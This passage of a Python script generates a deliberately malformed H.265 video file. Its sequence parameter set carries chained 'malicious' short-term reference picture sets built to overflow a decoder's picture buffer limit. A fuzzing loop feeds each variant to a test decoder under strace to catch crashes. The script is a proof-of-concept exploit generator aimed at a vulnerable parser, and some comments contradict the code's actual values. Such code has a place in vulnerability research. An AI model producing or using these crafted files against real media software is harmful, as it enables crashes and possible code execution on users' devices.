| # conformance_window_flag 276 | bs.write_bit(0) 277 | 278 | # bit_depth_luma_minus8 279 | bs.write_ue(0) 280 | 281 | # bit_depth_chroma_minus8 282 | bs.write_ue(0) 283 | 284 | # log2_max_pic_order_cnt_lsb_minus4 285 | bs.write_ue(4) 286 | 287 | # sps_sub_layer_ordering_info_present_flag 288 | bs.write_bit(1) 289 | 290 | # CRITICAL: Set max_dec_pic_buffering to 8 291 | MAX_DEC_PIC_BUFFERING_1 = max_buffering 292 | bs.write_ue(MAX_DEC_PIC_BUFFERING_1 - 1) # sps_max_dec_pic_buffering_minus1[0] = 7 293 | bs.write_ue(2) # sps_max_num_reorder_pics[0] 294 | bs.write_ue(0) # sps_max_latency_increase_plus1[0] 295 | 296 | # log2_min_luma_coding_block_size_minus3 297 | bs.write_ue(0) # 8x8 298 | 299 | # log2_diff_max_min_luma_coding_block_size 300 | bs.write_ue(3) # 64x64 max 301 | 302 | # log2_min_luma_transform_block_size_minus2 303 | bs.write_ue(0) # 4x4 304 | 305 | # log2_diff_max_min_luma_transform_block_size 306 | bs.write_ue(3) # 32x32 max 307 | 308 | # max_transform_hierarchy_depth_inter 309 | bs.write_ue(1) 310 | 311 | # max_transform_hierarchy_depth_intra 312 | bs.write_ue(1) 313 | 314 | # scaling_list_enabled_flag 315 | bs.write_bit(0) 316 | 317 | # amp_enabled_flag 318 | bs.write_bit(1) 319 | 320 | # sample_adaptive_offset_enabled_flag 321 | bs.write_bit(1) 322 | 323 | # pcm_enabled_flag 324 | bs.write_bit(0) 325 | 326 | # === MALICIOUS SHORT-TERM REFERENCE PICTURE SETS === 327 | print("\n" + "="*70) 328 | print("CREATING MALICIOUS SHORT-TERM REFERENCE PICTURE SETS") 329 | print(f"max_dec_pic_buffering_1 = {MAX_DEC_PIC_BUFFERING_1}") 330 | print(f"Target: Create chain that exceeds limit by 5") 331 | print("="*70) 332 | 333 | # num_short_term_ref_pic_sets = 6 (indices 0-5) 334 | NUM_SETS = nsets 335 | bs.write_ue(NUM_SETS) 336 | 337 | # Track computed counts for predictions 338 | computed_counts = {} 339 | 340 | # Write all 6 sets 341 | for i in range(NUM_SETS): 342 | write_malicious_st_ref_pic_set(bs, i, MAX_DEC_PIC_BUFFERING_1, computed_counts) 343 | 344 | # long_term_ref_pics_present_flag 345 | bs.write_bit(0) 346 | 347 | # sps_temporal_mvp_enabled_flag 348 | bs.write_bit(1) 349 | 350 | # strong_intra_smoothing_enabled_flag 351 | bs.write_bit(1) 352 | 353 | # vui_parameters_present_flag 354 | bs.write_bit(0) 355 | 356 | # sps_extension_present_flag 357 | bs.write_bit(0) 358 | 359 | bs.byte_align() 360 | 361 | print("\n" + "="*70) 362 | 363 | return emulation_prevention(bs.get_bytes()) 364 | 365 | def write_malicious_st_ref_pic_set(bs, idx, max_dec_pic_buffering_1, computed_counts): 366 | """Write malicious short-term reference picture set with chained predictions""" 367 | 368 | print(f"\n--- Writing Short-Term Ref Pic Set {idx} ---") 369 | 370 | if idx == 0: 371 | # Set 0: Base set with 4 negative + 4 positive = 8 (at limit) 372 | bs.write_bit(0) # No prediction for first set 373 | 374 | #num_negative = 0 375 | #num_positive = 0 376 | 377 | print(f"Set {idx}: NON-PREDICTION mode") 378 | print(f" num_negative_pics = {num_negative}") 379 | print(f" num_positive_pics = {num_positive}") 380 | print(f" Total = {num_negative + num_positive} (AT LIMIT)") 381 | 382 | bs.write_ue(num_negative) 383 | bs.write_ue(num_positive) 384 | 385 | # Write negative pics 386 | for i in range(num_negative): 387 | bs.write_ue(0) # delta_poc_s0_minus1 = 0 (delta = -1) 388 | bs.write_bit(1) # used_by_curr_pic_s0_flag = 1 389 | 390 | # Write positive pics 391 | for i in range(num_positive): 392 | bs.write_ue(0) # delta_poc_s1_minus1 = 0 (delta = +1) 393 | bs.write_bit(1) # used_by_curr_pic_s1_flag = 1 394 | 395 | computed_counts[idx] = { 396 | 'num_negative': num_negative, 397 | 'num_positive': num_positive, 398 | 'total': num_negative + num_positive 399 | } 400 | 401 | else: 402 | # Sets 1-5: Prediction mode, each adds 1 more 403 | bs.write_bit(1) # inter_ref_pic_set_prediction_flag = 1 404 | 405 | # Reference the previous set (delta_idx = 1) 406 | # For set idx < num_short_term_ref_pic_sets, we don't write delta_idx 407 | # It's only written when idx == num_short_term_ref_pic_sets 408 | 409 | # delta_rps_sign = 0, abs_delta_rps_minus1 = 0 410 | # This gives delta_rps = (1 - 2*0) * (0+1) = 1 (positive) 411 | bs.write_bit(0) # delta_rps_sign = 0 412 | bs.write_ue(0) # abs_delta_rps_minus1 = 0 → delta_rps = 1 413 | 414 | ref_idx = idx - 1 415 | ref_total = computed_counts[ref_idx]['total'] 416 | num_delta_pocs = ref_total 417 | 418 | print(f"Set {idx}: PREDICTION mode (references Set {ref_idx})") 419 | print(f" delta_rps = 1 (positive)") 420 | print(f" num_delta_pocs from ref = {num_delta_pocs}") 421 | 422 | # Write flags for all reference pics + delta_rps entry 423 | # Setting all used_by_curr_pic_flag = 1 means use_delta_flag is implicitly 1 424 | for i in range(num_delta_pocs + 1): 425 | bs.write_bit(1) # used_by_curr_pic_flag = 1 426 | # When used_by_curr_pic_flag=1, use_delta_flag is implicitly 1 427 | 428 | # Calculate expected result 429 | # According to the vulnerable code: 430 | # - All previous entries get copied 431 | # - delta_rps (positive) adds one more to positive pics 432 | expected_negative = num_delta_pocs # All previous 433 | expected_positive = 1 # Just delta_rps 434 | expected_total = expected_negative + expected_positive 435 | 436 | computed_counts[idx] = { 437 | 'num_negative': expected_negative, 438 | 'num_positive': expected_positive, 439 | 'total': expected_total 440 | } 441 | 442 | print(f" Expected num_negative_pics = {expected_negative}") 443 | print(f" Expected num_positive_pics = {expected_positive}") 444 | print(f" Expected Total = {expected_total}") 445 | 446 | 447 | def create_pps(): 448 | """Create minimal PPS""" 449 | bs = BitstreamWriter() 450 | 451 | # pps_pic_parameter_set_id 452 | bs.write_ue(0) 453 | 454 | # pps_seq_parameter_set_id 455 | bs.write_ue(0) 456 | 457 | # dependent_slice_segments_enabled_flag 458 | bs.write_bit(0) 459 | 460 | # output_flag_present_flag 461 | bs.write_bit(0) 462 | 463 | # num_extra_slice_header_bits 464 | bs.write_bits(0, 3) 465 | 466 | # sign_data_hiding_enabled_flag 467 | bs.write_bit(0) 468 | 469 | # cabac_init_present_flag 470 | bs.write_bit(0) 471 | 472 | # num_ref_idx_l0_default_active_minus1 473 | bs.write_ue(0) 474 | 475 | # num_ref_idx_l1_default_active_minus1 476 | bs.write_ue(0) 477 | 478 | # init_qp_minus26 479 | bs.write_se(0) 480 | 481 | # constrained_intra_pred_flag 482 | bs.write_bit(0) 483 | 484 | # transform_skip_enabled_flag 485 | bs.write_bit(0) 486 | 487 | # cu_qp_delta_enabled_flag 488 | bs.write_bit(0) 489 | 490 | # pps_cb_qp_offset 491 | bs.write_se(0) 492 | 493 | # pps_cr_qp_offset 494 | bs.write_se(0) 495 | 496 | # pps_slice_chroma_qp_offsets_present_flag 497 | bs.write_bit(0) 498 | 499 | # weighted_pred_flag 500 | bs.write_bit(0) 501 | 502 | # weighted_bipred_flag 503 | bs.write_bit(0) 504 | 505 | # transquant_bypass_enabled_flag 506 | bs.write_bit(0) 507 | 508 | # tiles_enabled_flag 509 | bs.write_bit(0) 510 | 511 | # entropy_coding_sync_enabled_flag 512 | bs.write_bit(0) 513 | 514 | # pps_loop_filter_across_slices_enabled_flag 515 | bs.write_bit(1) 516 | 517 | # deblocking_filter_control_present_flag 518 | bs.write_bit(0) 519 | 520 | # pps_scaling_list_data_present_flag 521 | bs.write_bit(0) 522 | 523 | # lists_modification_present_flag 524 | bs.write_bit(0) 525 | 526 | # log2_parallel_merge_level_minus2 527 | bs.write_ue(0) 528 | 529 | # slice_segment_header_extension_present_flag 530 | bs.write_bit(0) 531 | 532 | # pps_extension_present_flag 533 | bs.write_bit(0) 534 | 535 | bs.byte_align() 536 | return emulation_prevention(bs.get_bytes()) 537 | 538 | def create_idr_slice(): 539 | """Create minimal IDR slice""" 540 | bs = BitstreamWriter() 541 | 542 | # first_slice_segment_in_pic_flag 543 | bs.write_bit(1) 544 | 545 | # no_output_of_prior_pics_flag 546 | bs.write_bit(0) 547 | 548 | # slice_pic_parameter_set_id 549 | bs.write_ue(0) 550 | 551 | # slice_type (2 = I slice) 552 | bs.write_ue(2) 553 | 554 | # slice_pic_order_cnt_lsb 555 | bs.write_bits(0, 8) # 8 bits based on log2_max_pic_order_cnt_lsb_minus4=4 556 | 557 | # short_term_ref_pic_set_sps_flag 558 | bs.write_bit(1) 559 | 560 | # short_term_ref_pic_set_idx 561 | bs.write_bits(0, 3) # Index 0 (3 bits for 6 sets: log2(6) ≈ 3) 562 | 563 | # slice_qp_delta 564 | bs.write_se(0) 565 | 566 | # slice_loop_filter_across_slices_enabled_flag 567 | bs.write_bit(1) 568 | 569 | bs.byte_align() 570 | 571 | # Add some dummy slice data (minimal) 572 | data = bs.get_bytes() 573 | return emulation_prevention(data) 574 | 575 | def main(): 576 | 577 | h265_data = create_h265_with_malicious_strps() 578 | 579 | # Write to file 580 | filename = 'malicious_h265_chain.h265' 581 | with open(filename, 'wb') as f: 582 | f.write(h265_data) 583 | 584 | print(f"\n✓ Created {filename} with {len(h265_data)} bytes") 585 | 586 | # Analyze NAL units 587 | print("\n=== NAL Unit Analysis ===") 588 | i = 0 589 | nal_count = 0 590 | while i < len(h265_data) - 4: 591 | if h265_data[i:i+4] == b'\x00\x00\x00\x01': 592 | if i + 6 < len(h265_data): 593 | nal_type = (h265_data[i+4] >> 1) & 0x3f 594 | nuh_layer_id = ((h265_data[i+4] & 0x01) << 5) | ((h265_data[i+5] >> 3) & 0x1F) 595 | nuh_temporal_id = h265_data[i+5] & 0x07 596 | 597 | nal_names = { 598 | 32: "VPS (Video Parameter Set)", 599 | 33: "SPS (Sequence Parameter Set) ⚠️ MALICIOUS!", 600 | 34: "PPS (Picture Parameter Set)", 601 | 19: "IDR_W_RADL (IDR slice)" 602 | } 603 | 604 | name = nal_names.get(nal_type, f"Unknown type {nal_type}") 605 | nal_count += 1 606 | print(f"NAL {nal_count} @ offset {i:04x}: type {nal_type:2d} - {name}") 607 | i += 4 608 | else: 609 | i += 1 610 | 611 | 612 | def run_fuzzing_campaign(): 613 | """ 614 | Systematic fuzzing campaign to test H.265 parser with various malicious configurations. 615 | 616 | Tests different combinations of: 617 | - num_ref_pic_sets: Number of short-term reference picture sets (0-6) 618 | - max_dec_pic_buffering: Maximum decoded picture buffer size (0-6) 619 | - num_negative_pics: Number of negative reference pictures (0-2) 620 | - num_positive_pics: Number of positive reference pictures (0-2) 621 | """ 622 | 623 | # Parameter ranges 624 | num_ref_pic_sets_range = range(7) # 0-6 reference picture sets 625 | max_buffering_range = range(7) # 0-6 max buffer size 626 | num_negative_range = range(3) # 0-2 negative pictures 627 | num_positive_range = range(3) # 0-2 positive pictures 628 | 629 | total_test_cases = 0 630 | 631 | # Execute fuzzing matrix 632 | for ref_sets in num_ref_pic_sets_range: 633 | for max_buf in max_buffering_range: 634 | for neg_pics in num_negative_range: 635 | for pos_pics in num_positive_range: 636 | 637 | # Set global parameters for this test case 638 | global num_negative, num_positive, max_buffering, nsets 639 | num_negative = neg_pics 640 | num_positive = pos_pics 641 | max_buffering = max_buf 642 | nsets = ref_sets 643 | 644 | # Generate and test malicious H.265 file 645 | main() 646 | 647 | # Test with strace to monitor system calls and potential crashes 648 | test_result = os.system("strace ./test_h265_file ./malicious_h265_chain.h265") 649 | 650 | # Log test case parameters 651 | print(f"Test case {total_test_cases}: ref_sets={ref_sets}, max_buf={max_buf}, neg={neg_pics}, pos={pos_pics}") 652 | print(f"Exit code: {test_result}") 653 | print("-" * 60) 654 | 655 | total_test_cases += 1 656 | 657 | print(f"Fuzzing campaign completed: {total_test_cases} test cases executed") 658 | 659 | 660 | if __name__ == '__main__': 661 | run_fuzzing_campaign() 662 | 663 | --------------------------------------------------------------------------------